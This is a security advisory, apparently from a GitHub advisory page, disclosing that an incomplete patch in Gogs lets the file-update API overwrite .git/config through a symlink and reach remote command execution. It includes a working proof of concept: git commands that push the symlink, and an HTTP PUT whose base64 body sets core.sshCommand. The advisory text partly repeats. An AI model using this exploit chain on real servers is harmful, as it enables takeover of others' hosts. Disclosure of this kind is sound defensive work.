Summary
Due to the insufficient patch for the GHSA-wj44-9vcg-wjq7, it's still possible to update files in the .git directory and achieve remote command execution.
Details
Function UpdateRepoFile security check under some if conditions. While UpdateRepoFile call in API router will NOT match any of them. It's still possible to update .git/config file via API router.
https://github.com/gogs/gogs/blob/d940e692ec58abd45e648c054d7dfd88909034ec/internal/route/api/v1/repo/contents.go#L197-L206
PoC
# add a symlink file and push to repo.
ln -s .git/config link
git add link
git commit -m 'add' && git push
Update file via API router
PUT /api/v1/repos/demo/vul/contents/link HTTP/1.1
Content-Type: application/json
Host: localhost:3000
Authorization: token {token}
{"message":"message","committer":{"name":"test","email":"a@b.com"},"content":"W2NvcmVdCglyZXBvc2l0b3J5Zm9ybWF0dmVyc2lvbiA9IDAKCWZpbGVtb2RlID0gdHJ1ZQoJYmFyZSA9IGZhbHNlCglsb2dhbGxyZWZ1cGRhdGVzID0gdHJ1ZQoJaWdub3JlY2FzZSA9IHRydWUKCXByZWNvbXBvc2V1bmljb2RlID0gdHJ1ZQoJc3NoQ29tbWFuZCA9IHRvdWNoIC90bXAvYWJjCltyZW1vdGUgIm9yaWdpbiJdCgl1cmwgPSBzc2g6Ly9naXRAbG9jYWxob3N0L2RlbW8vdnVsLmdpdAoJZmV0Y2ggPSArcmVmcy9oZWFkcy8qOnJlZnMvcmVtb3Rlcy9vcmlnaW4vKgpbYnJhbmNoICJtYXN0ZXIiXQoJcmVtb3RlID0gb3JpZ2luCgltZXJnZSA9IHJlZnMvaGVhZHMvbWFzdGVy"}
Impact
RCE
References
Summary
Due to the insufficient patch for the GHSA-wj44-9vcg-wjq7, it's still possible to update files in the
.gitdirectory and achieve remote command execution.Details
Function
UpdateRepoFilesecurity check under some if conditions. While UpdateRepoFile call in API router will NOT match any of them. It's still possible to update.git/configfile via API router.https://github.com/gogs/gogs/blob/d940e692ec58abd45e648c054d7dfd88909034ec/internal/route/api/v1/repo/contents.go#L197-L206
PoC
Update file via API router
Impact
RCE
References